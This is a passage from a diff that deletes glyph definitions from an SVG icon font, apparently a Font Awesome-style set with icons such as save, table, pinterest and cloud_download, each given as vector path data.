-d="M1404 151q0 -117 -79 -196t-196 -79q-135 0 -235 100l-777 776q-113 115 -113 271q0 159 110 270t269 111q158 0 273 -113l605 -606q10 -10 10 -22q0 -16 -30.5 -46.5t-46.5 -30.5q-13 0 -23 10l-606 607q-79 77 -181 77q-106 0 -179 -75t-73 -181q0 -105 76 -181
-l776 -777q63 -63 145 -63q64 0 106 42t42 106q0 82 -63 145l-581 581q-26 24 -60 24q-29 0 -48 -19t-19 -48q0 -32 25 -59l410 -410q10 -10 10 -22q0 -16 -31 -47t-47 -31q-12 0 -22 10l-410 410q-63 61 -63 149q0 82 57 139t139 57q88 0 149 -63l581 -581q100 -98 100 -235
-z" />
-    <glyph glyph-name="save" unicode="&#xf0c7;" 
-d="M384 0h768v384h-768v-384zM1280 0h128v896q0 14 -10 38.5t-20 34.5l-281 281q-10 10 -34 20t-39 10v-416q0 -40 -28 -68t-68 -28h-576q-40 0 -68 28t-28 68v416h-128v-1280h128v416q0 40 28 68t68 28h832q40 0 68 -28t28 -68v-416zM896 928v320q0 13 -9.5 22.5t-22.5 9.5
-h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5zM1536 896v-928q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h928q40 0 88 -20t76 -48l280 -280q28 -28 48 -76t20 -88z" />
-    <glyph glyph-name="sign_blank" unicode="&#xf0c8;" 
-d="M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="reorder" unicode="&#xf0c9;" 
-d="M1536 192v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 704v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 1216v-128q0 -26 -19 -45
-t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="ul" unicode="&#xf0ca;" horiz-adv-x="1792" 
-d="M384 128q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 640q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
-t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1152q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z
-M1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
-    <glyph glyph-name="ol" unicode="&#xf0cb;" horiz-adv-x="1792" 
-d="M381 -84q0 -80 -54.5 -126t-135.5 -46q-106 0 -172 66l57 88q49 -45 106 -45q29 0 50.5 14.5t21.5 42.5q0 64 -105 56l-26 56q8 10 32.5 43.5t42.5 54t37 38.5v1q-16 0 -48.5 -1t-48.5 -1v-53h-106v152h333v-88l-95 -115q51 -12 81 -49t30 -88zM383 543v-159h-362
-q-6 36 -6 54q0 51 23.5 93t56.5 68t66 47.5t56.5 43.5t23.5 45q0 25 -14.5 38.5t-39.5 13.5q-46 0 -81 -58l-85 59q24 51 71.5 79.5t105.5 28.5q73 0 123 -41.5t50 -112.5q0 -50 -34 -91.5t-75 -64.5t-75.5 -50.5t-35.5 -52.5h127v60h105zM1792 224v-192q0 -13 -9.5 -22.5
-t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1123v-99h-335v99h107q0 41 0.5 121.5t0.5 121.5v12h-2q-8 -17 -50 -54l-71 76l136 127h106v-404h108zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216
-q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
-    <glyph glyph-name="strikethrough" unicode="&#xf0cc;" horiz-adv-x="1792" 
-d="M1760 640q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h1728zM483 704q-28 35 -51 80q-48 98 -48 188q0 181 134 309q133 127 393 127q50 0 167 -19q66 -12 177 -48q10 -38 21 -118q14 -123 14 -183q0 -18 -5 -45l-12 -3l-84 6
-l-14 2q-50 149 -103 205q-88 91 -210 91q-114 0 -182 -59q-67 -58 -67 -146q0 -73 66 -140t279 -129q69 -20 173 -66q58 -28 95 -52h-743zM990 448h411q7 -39 7 -92q0 -111 -41 -212q-23 -56 -71 -104q-37 -35 -109 -81q-80 -48 -153 -66q-80 -21 -203 -21q-114 0 -195 23
-l-140 40q-57 16 -72 28q-8 8 -8 22v13q0 108 -2 156q-1 30 0 68l2 37v44l102 2q15 -34 30 -71t22.5 -56t12.5 -27q35 -57 80 -94q43 -36 105 -57q59 -22 132 -22q64 0 139 27q77 26 122 86q47 61 47 129q0 84 -81 157q-34 29 -137 71z" />
-    <glyph glyph-name="underline" unicode="&#xf0cd;" 
-d="M48 1313q-37 2 -45 4l-3 88q13 1 40 1q60 0 112 -4q132 -7 166 -7q86 0 168 3q116 4 146 5q56 0 86 2l-1 -14l2 -64v-9q-60 -9 -124 -9q-60 0 -79 -25q-13 -14 -13 -132q0 -13 0.5 -32.5t0.5 -25.5l1 -229l14 -280q6 -124 51 -202q35 -59 96 -92q88 -47 177 -47
-q104 0 191 28q56 18 99 51q48 36 65 64q36 56 53 114q21 73 21 229q0 79 -3.5 128t-11 122.5t-13.5 159.5l-4 59q-5 67 -24 88q-34 35 -77 34l-100 -2l-14 3l2 86h84l205 -10q76 -3 196 10l18 -2q6 -38 6 -51q0 -7 -4 -31q-45 -12 -84 -13q-73 -11 -79 -17q-15 -15 -15 -41
-q0 -7 1.5 -27t1.5 -31q8 -19 22 -396q6 -195 -15 -304q-15 -76 -41 -122q-38 -65 -112 -123q-75 -57 -182 -89q-109 -33 -255 -33q-167 0 -284 46q-119 47 -179 122q-61 76 -83 195q-16 80 -16 237v333q0 188 -17 213q-25 36 -147 39zM1536 -96v64q0 14 -9 23t-23 9h-1472
-q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h1472q14 0 23 9t9 23z" />
-    <glyph glyph-name="table" unicode="&#xf0ce;" horiz-adv-x="1664" 
-d="M512 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23
-v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 160v192
-q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192
-q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1664 1248v-1088q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1344q66 0 113 -47t47 -113
-z" />
-    <glyph glyph-name="magic" unicode="&#xf0d0;" horiz-adv-x="1664" 
-d="M1190 955l293 293l-107 107l-293 -293zM1637 1248q0 -27 -18 -45l-1286 -1286q-18 -18 -45 -18t-45 18l-198 198q-18 18 -18 45t18 45l1286 1286q18 18 45 18t45 -18l198 -198q18 -18 18 -45zM286 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM636 1276
-l196 -60l-196 -60l-60 -196l-60 196l-196 60l196 60l60 196zM1566 798l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM926 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98z" />
-    <glyph glyph-name="truck" unicode="&#xf0d1;" horiz-adv-x="1792" 
-d="M640 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM256 640h384v256h-158q-13 0 -22 -9l-195 -195q-9 -9 -9 -22v-30zM1536 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1792 1216v-1024q0 -15 -4 -26.5t-13.5 -18.5
-t-16.5 -11.5t-23.5 -6t-22.5 -2t-25.5 0t-22.5 0.5q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-64q-3 0 -22.5 -0.5t-25.5 0t-22.5 2t-23.5 6t-16.5 11.5t-13.5 18.5t-4 26.5q0 26 19 45t45 19v320q0 8 -0.5 35t0 38
-t2.5 34.5t6.5 37t14 30.5t22.5 30l198 198q19 19 50.5 32t58.5 13h160v192q0 26 19 45t45 19h1024q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="pinterest" unicode="&#xf0d2;" 
-d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103q-111 0 -218 32q59 93 78 164q9 34 54 211q20 -39 73 -67.5t114 -28.5q121 0 216 68.5t147 188.5t52 270q0 114 -59.5 214t-172.5 163t-255 63q-105 0 -196 -29t-154.5 -77t-109 -110.5t-67 -129.5t-21.5 -134
-q0 -104 40 -183t117 -111q30 -12 38 20q2 7 8 31t8 30q6 23 -11 43q-51 61 -51 151q0 151 104.5 259.5t273.5 108.5q151 0 235.5 -82t84.5 -213q0 -170 -68.5 -289t-175.5 -119q-61 0 -98 43.5t-23 104.5q8 35 26.5 93.5t30 103t11.5 75.5q0 50 -27 83t-77 33
-q-62 0 -105 -57t-43 -142q0 -73 25 -122l-99 -418q-17 -70 -13 -177q-206 91 -333 281t-127 423q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="pinterest_sign" unicode="&#xf0d3;" 
-d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-725q85 122 108 210q9 34 53 209q21 -39 73.5 -67t112.5 -28q181 0 295.5 147.5t114.5 373.5q0 84 -35 162.5t-96.5 139t-152.5 97t-197 36.5q-104 0 -194.5 -28.5t-153 -76.5
-t-107.5 -109.5t-66.5 -128t-21.5 -132.5q0 -102 39.5 -180t116.5 -110q13 -5 23.5 0t14.5 19q10 44 15 61q6 23 -11 42q-50 62 -50 150q0 150 103.5 256.5t270.5 106.5q149 0 232.5 -81t83.5 -210q0 -168 -67.5 -286t-173.5 -118q-60 0 -97 43.5t-23 103.5q8 34 26.5 92.5
-t29.5 102t11 74.5q0 49 -26.5 81.5t-75.5 32.5q-61 0 -103.5 -56.5t-42.5 -139.5q0 -72 24 -121l-98 -414q-24 -100 -7 -254h-183q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960z" />
-    <glyph glyph-name="google_plus_sign" unicode="&#xf0d4;" 
-d="M917 631q0 26 -6 64h-362v-132h217q-3 -24 -16.5 -50t-37.5 -53t-66.5 -44.5t-96.5 -17.5q-99 0 -169 71t-70 171t70 171t169 71q92 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585
-h109v110h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="google_plus" unicode="&#xf0d5;" horiz-adv-x="2304" 
-d="M1437 623q0 -208 -87 -370.5t-248 -254t-369 -91.5q-149 0 -285 58t-234 156t-156 234t-58 285t58 285t156 234t234 156t285 58q286 0 491 -192l-199 -191q-117 113 -292 113q-123 0 -227.5 -62t-165.5 -168.5t-61 -232.5t61 -232.5t165.5 -168.5t227.5 -62
-q83 0 152.5 23t114.5 57.5t78.5 78.5t49 83t21.5 74h-416v252h692q12 -63 12 -122zM2304 745v-210h-209v-209h-210v209h-209v210h209v209h210v-209h209z" />
-    <glyph glyph-name="money" unicode="&#xf0d6;" horiz-adv-x="1920" 
-d="M768 384h384v96h-128v448h-114l-148 -137l77 -80q42 37 55 57h2v-288h-128v-96zM1280 640q0 -70 -21 -142t-59.5 -134t-101.5 -101t-138 -39t-138 39t-101.5 101t-59.5 134t-21 142t21 142t59.5 134t101.5 101t138 39t138 -39t101.5 -101t59.5 -134t21 -142zM1792 384
-v512q-106 0 -181 75t-75 181h-1152q0 -106 -75 -181t-181 -75v-512q106 0 181 -75t75 -181h1152q0 106 75 181t181 75zM1920 1216v-1152q0 -26 -19 -45t-45 -19h-1792q-26 0 -45 19t-19 45v1152q0 26 19 45t45 19h1792q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="caret_down" unicode="&#xf0d7;" horiz-adv-x="1024" 
-d="M1024 832q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="caret_up" unicode="&#xf0d8;" horiz-adv-x="1024" 
-d="M1024 320q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
-    <glyph glyph-name="caret_left" unicode="&#xf0d9;" horiz-adv-x="640" 
-d="M640 1088v-896q0 -26 -19 -45t-45 -19t-45 19l-448 448q-19 19 -19 45t19 45l448 448q19 19 45 19t45 -19t19 -45z" />
-    <glyph glyph-name="caret_right" unicode="&#xf0da;" horiz-adv-x="640" 
-d="M576 640q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19t-19 45v896q0 26 19 45t45 19t45 -19l448 -448q19 -19 19 -45z" />
-    <glyph glyph-name="columns" unicode="&#xf0db;" horiz-adv-x="1664" 
-d="M160 0h608v1152h-640v-1120q0 -13 9.5 -22.5t22.5 -9.5zM1536 32v1120h-640v-1152h608q13 0 22.5 9.5t9.5 22.5zM1664 1248v-1216q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1344q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="sort" unicode="&#xf0dc;" horiz-adv-x="1024" 
-d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45zM1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
-    <glyph glyph-name="sort_down" unicode="&#xf0dd;" horiz-adv-x="1024" 
-d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="sort_up" unicode="&#xf0de;" horiz-adv-x="1024" 
-d="M1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
-    <glyph glyph-name="envelope_alt" unicode="&#xf0e0;" horiz-adv-x="1792" 
-d="M1792 826v-794q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v794q44 -49 101 -87q362 -246 497 -345q57 -42 92.5 -65.5t94.5 -48t110 -24.5h1h1q51 0 110 24.5t94.5 48t92.5 65.5q170 123 498 345q57 39 100 87zM1792 1120q0 -79 -49 -151t-122 -123
-q-376 -261 -468 -325q-10 -7 -42.5 -30.5t-54 -38t-52 -32.5t-57.5 -27t-50 -9h-1h-1q-23 0 -50 9t-57.5 27t-52 32.5t-54 38t-42.5 30.5q-91 64 -262 182.5t-205 142.5q-62 42 -117 115.5t-55 136.5q0 78 41.5 130t118.5 52h1472q65 0 112.5 -47t47.5 -113z" />
-    <glyph glyph-name="linkedin" unicode="&#xf0e1;" 
-d="M349 911v-991h-330v991h330zM370 1217q1 -73 -50.5 -122t-135.5 -49h-2q-82 0 -132 49t-50 122q0 74 51.5 122.5t134.5 48.5t133 -48.5t51 -122.5zM1536 488v-568h-329v530q0 105 -40.5 164.5t-126.5 59.5q-63 0 -105.5 -34.5t-63.5 -85.5q-11 -30 -11 -81v-553h-329
-q2 399 2 647t-1 296l-1 48h329v-144h-2q20 32 41 56t56.5 52t87 43.5t114.5 15.5q171 0 275 -113.5t104 -332.5z" />
-    <glyph glyph-name="undo" unicode="&#xf0e2;" 
-d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
-t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298z" />
-    <glyph glyph-name="legal" unicode="&#xf0e3;" horiz-adv-x="1792" 
-d="M1771 0q0 -53 -37 -90l-107 -108q-39 -37 -91 -37q-53 0 -90 37l-363 364q-38 36 -38 90q0 53 43 96l-256 256l-126 -126q-14 -14 -34 -14t-34 14q2 -2 12.5 -12t12.5 -13t10 -11.5t10 -13.5t6 -13.5t5.5 -16.5t1.5 -18q0 -38 -28 -68q-3 -3 -16.5 -18t-19 -20.5
-t-18.5 -16.5t-22 -15.5t-22 -9t-26 -4.5q-40 0 -68 28l-408 408q-28 28 -28 68q0 13 4.5 26t9 22t15.5 22t16.5 18.5t20.5 19t18 16.5q30 28 68 28q10 0 18 -1.5t16.5 -5.5t13.5 -6t13.5 -10t11.5 -10t13 -12.5t12 -12.5q-14 14 -14 34t14 34l348 348q14 14 34 14t34 -14
-q-2 2 -12.5 12t-12.5 13t-10 11.5t-10 13.5t-6 13.5t-5.5 16.5t-1.5 18q0 38 28 68q3 3 16.5 18t19 20.5t18.5 16.5t22 15.5t22 9t26 4.5q40 0 68 -28l408 -408q28 -28 28 -68q0 -13 -4.5 -26t-9 -22t-15.5 -22t-16.5 -18.5t-20.5 -19t-18 -16.5q-30 -28 -68 -28
-q-10 0 -18 1.5t-16.5 5.5t-13.5 6t-13.5 10t-11.5 10t-13 12.5t-12 12.5q14 -14 14 -34t-14 -34l-126 -126l256 -256q43 43 96 43q52 0 91 -37l363 -363q37 -39 37 -91z" />
-    <glyph glyph-name="dashboard" unicode="&#xf0e4;" horiz-adv-x="1792" 
-d="M384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM576 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1004 351l101 382q6 26 -7.5 48.5t-38.5 29.5
-t-48 -6.5t-30 -39.5l-101 -382q-60 -5 -107 -43.5t-63 -98.5q-20 -77 20 -146t117 -89t146 20t89 117q16 60 -6 117t-72 91zM1664 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 1024q0 53 -37.5 90.5
-t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1472 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 384q0 -261 -141 -483q-19 -29 -54 -29h-1402q-35 0 -54 29
-q-141 221 -141 483q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="comment_alt" unicode="&#xf0e5;" horiz-adv-x="1792" 
-d="M896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640
-q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 174 120 321.5
-t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
-    <glyph glyph-name="comments_alt" unicode="&#xf0e6;" horiz-adv-x="1792" 
-d="M704 1152q-153 0 -286 -52t-211.5 -141t-78.5 -191q0 -82 53 -158t149 -132l97 -56l-35 -84q34 20 62 39l44 31l53 -10q78 -14 153 -14q153 0 286 52t211.5 141t78.5 191t-78.5 191t-211.5 141t-286 52zM704 1280q191 0 353.5 -68.5t256.5 -186.5t94 -257t-94 -257
-t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224q0 139 94 257t256.5 186.5
-t353.5 68.5zM1526 111q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129
-q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230q0 -120 -71 -224.5t-195 -176.5z" />
-    <glyph glyph-name="bolt" unicode="&#xf0e7;" horiz-adv-x="896" 
-d="M885 970q18 -20 7 -44l-540 -1157q-13 -25 -42 -25q-4 0 -14 2q-17 5 -25.5 19t-4.5 30l197 808l-406 -101q-4 -1 -12 -1q-18 0 -31 11q-18 15 -13 39l201 825q4 14 16 23t28 9h328q19 0 32 -12.5t13 -29.5q0 -8 -5 -18l-171 -463l396 98q8 2 12 2q19 0 34 -15z" />
-    <glyph glyph-name="sitemap" unicode="&#xf0e8;" horiz-adv-x="1792" 
-d="M1792 288v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320
-q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192q0 52 38 90t90 38h512v192h-96q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h320q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-96v-192h512q52 0 90 -38t38 -90v-192h96q40 0 68 -28t28 -68
-z" />
-    <glyph glyph-name="umbrella" unicode="&#xf0e9;" horiz-adv-x="1664" 
-d="M896 708v-580q0 -104 -76 -180t-180 -76t-180 76t-76 180q0 26 19 45t45 19t45 -19t19 -45q0 -50 39 -89t89 -39t89 39t39 89v580q33 11 64 11t64 -11zM1664 681q0 -13 -9.5 -22.5t-22.5 -9.5q-11 0 -23 10q-49 46 -93 69t-102 23q-68 0 -128 -37t-103 -97
-q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -28 -17q-18 0 -29 17q-4 6 -14.5 24t-17.5 28q-43 60 -102.5 97t-127.5 37t-127.5 -37t-102.5 -97q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -29 -17q-17 0 -28 17q-4 6 -14.5 24t-17.5 28q-43 60 -103 97t-128 37q-58 0 -102 -23t-93 -69
-q-12 -10 -23 -10q-13 0 -22.5 9.5t-9.5 22.5q0 5 1 7q45 183 172.5 319.5t298 204.5t360.5 68q140 0 274.5 -40t246.5 -113.5t194.5 -187t115.5 -251.5q1 -2 1 -7zM896 1408v-98q-42 2 -64 2t-64 -2v98q0 26 19 45t45 19t45 -19t19 -45z" />
-    <glyph glyph-name="paste" unicode="&#xf0ea;" horiz-adv-x="1792" 
-d="M768 -128h896v640h-416q-40 0 -68 28t-28 68v416h-384v-1152zM1024 1312v64q0 13 -9.5 22.5t-22.5 9.5h-704q-13 0 -22.5 -9.5t-9.5 -22.5v-64q0 -13 9.5 -22.5t22.5 -9.5h704q13 0 22.5 9.5t9.5 22.5zM1280 640h299l-299 299v-299zM1792 512v-672q0 -40 -28 -68t-68 -28
-h-960q-40 0 -68 28t-28 68v160h-544q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1088q40 0 68 -28t28 -68v-328q21 -13 36 -28l408 -408q28 -28 48 -76t20 -88z" />
-    <glyph glyph-name="light_bulb" unicode="&#xf0eb;" horiz-adv-x="1024" 
-d="M736 960q0 -13 -9.5 -22.5t-22.5 -9.5t-22.5 9.5t-9.5 22.5q0 46 -54 71t-106 25q-13 0 -22.5 9.5t-9.5 22.5t9.5 22.5t22.5 9.5q50 0 99.5 -16t87 -54t37.5 -90zM896 960q0 72 -34.5 134t-90 101.5t-123 62t-136.5 22.5t-136.5 -22.5t-123 -62t-90 -101.5t-34.5 -134
-q0 -101 68 -180q10 -11 30.5 -33t30.5 -33q128 -153 141 -298h228q13 145 141 298q10 11 30.5 33t30.5 33q68 79 68 180zM1024 960q0 -155 -103 -268q-45 -49 -74.5 -87t-59.5 -95.5t-34 -107.5q47 -28 47 -82q0 -37 -25 -64q25 -27 25 -64q0 -52 -45 -81q13 -23 13 -47
-q0 -46 -31.5 -71t-77.5 -25q-20 -44 -60 -70t-87 -26t-87 26t-60 70q-46 0 -77.5 25t-31.5 71q0 24 13 47q-45 29 -45 81q0 37 25 64q-25 27 -25 64q0 54 47 82q-4 50 -34 107.5t-59.5 95.5t-74.5 87q-103 113 -103 268q0 99 44.5 184.5t117 142t164 89t186.5 32.5
-t186.5 -32.5t164 -89t117 -142t44.5 -184.5z" />
-    <glyph glyph-name="exchange" unicode="&#xf0ec;" horiz-adv-x="1792" 
-d="M1792 352v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5q-12 0 -24 10l-319 320q-9 9 -9 22q0 14 9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h1376q13 0 22.5 -9.5t9.5 -22.5zM1792 896q0 -14 -9 -23l-320 -320q-9 -9 -23 -9
-q-13 0 -22.5 9.5t-9.5 22.5v192h-1376q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1376v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
-    <glyph glyph-name="cloud_download" unicode="&#xf0ed;" horiz-adv-x="1920" 
-d="M1280 608q0 14 -9 23t-23 9h-224v352q0 13 -9.5 22.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-352h-224q-13 0 -22.5 -9.5t-9.5 -22.5q0 -14 9 -23l352 -352q9 -9 23 -9t23 9l351 351q10 12 10 24zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
-q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
-    <glyph glyph-name="cloud_upload" unicode="&#xf0ee;" horiz-adv-x="1920" 
